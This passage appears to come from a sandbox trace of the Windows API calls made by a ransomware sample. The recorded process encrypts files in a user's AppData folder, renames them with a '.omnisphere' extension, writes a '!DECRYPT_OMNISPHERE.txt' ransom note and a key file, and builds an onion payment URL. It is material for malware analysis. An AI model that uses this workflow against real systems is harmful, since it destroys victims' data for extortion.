pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.138] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.139] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.141] CryptDestroyKey (hKey=0x1639628) returned 1 [0069.141] CryptReleaseContext (hProv=0x1668790, dwFlags=0x0) returned 1 [0069.141] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xc5dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.141] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0069.141] GetProcessHeap () returned 0x1600000 [0069.141] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x270) returned 0x165f6f0 [0069.141] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wupx.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wupx.mp3.omnisphere")) returned 1 [0069.142] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3.omnisphere.id" [0069.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wupx.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0069.144] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0069.145] CloseHandle (hObject=0x3a8) returned 1 [0069.146] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0069.147] CloseHandle (hObject=0x3a4) returned 1 [0069.147] SetEndOfFile (hFile=0x3a0) returned 1 [0069.147] FlushFileBuffers (hFile=0x3a0) returned 1 [0069.150] CloseHandle (hObject=0x3a0) returned 1 [0069.150] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\wuPx.mp3" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0069.150] GetProcessHeap () returned 0x1600000 [0069.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x166b198 [0069.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.150] GetProcessHeap () returned 0x1600000 [0069.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f620 [0069.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f620, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0069.150] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0069.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.150] GetProcessHeap () returned 0x1600000 [0069.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fb90 [0069.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fb90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0069.150] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0069.150] GetProcessHeap () returned 0x1600000 [0069.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668790 [0069.150] PathCombineW (in: pszDest=0x1668790, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0069.150] GetProcessHeap () returned 0x1600000 [0069.150] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1664708 [0069.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.151] WriteFile (in: hFile=0x3a0, lpBuffer=0x1664708*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1664708*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0069.151] CloseHandle (hObject=0x3a0) returned 1 [0069.151] GetProcessHeap () returned 0x1600000 [0069.151] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x166b198 | out: hHeap=0x1600000) returned 1 [0069.151] GetProcessHeap () returned 0x1600000 [0069.151] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f980 [0069.151] PathCombineW (in: pszDest=0x163f980, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0069.151] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.151] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0069.152] CloseHandle (hObject=0x3a0) returned 1 [0069.152] GetProcessHeap () returned 0x1600000 [0069.152] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0069.152] GetProcessHeap () returned 0x1600000 [0069.152] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0069.152] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61ef73c0, ftCreationTime.dwHighDateTime=0x1d4d1dc, ftLastAccessTime.dwLowDateTime=0xef632d70, ftLastAccessTime.dwHighDateTime=0x1d4c5af, ftLastWriteTime.dwLowDateTime=0xef632d70, ftLastWriteTime.dwHighDateTime=0x1d4c5af, nFileSizeHigh=0x0, nFileSizeLow=0xefac, dwReserved0=0x0, dwReserved1=0xed, cFileName="xrFH_.wav", cAlternateFileName="")) returned 1 [0069.152] GetProcessHeap () returned 0x1600000 [0069.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x62) returned 0x163a180 [0069.152] PathCombineW (in: pszDest=0x163a180, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="xrFH_.wav" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav" [0069.152] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0069.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\xrFH_.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\xrfh_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.152] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=61356) returned 1 [0069.152] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xea88, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.152] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0069.152] GetTickCount () returned 0x1151912 [0069.152] GetTickCount () returned 0x1151912 [0069.152] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.153] GetTickCount () returned 0x1151912 [0069.154] GetTickCount () returned 0x1151912 [0069.154] GetTickCount () returned 0x1151912 [0069.154] GetTickCount () returned 0x1151912 [0069.154] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1669230) returned 1 [0069.154] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0069.154] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0069.154] CryptDestroyKey (hKey=0x1639a28) returned 1 [0069.154] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0069.155] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xefac, lpName=0x0) returned 0x3a4 [0069.155] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xefac) returned 0x3430000 [0069.155] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x16691a8) returned 1 [0069.156] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639a28) returned 1 [0069.156] CryptSetKeyParam (hKey=0x1639a28, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.156] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.157] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.158] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 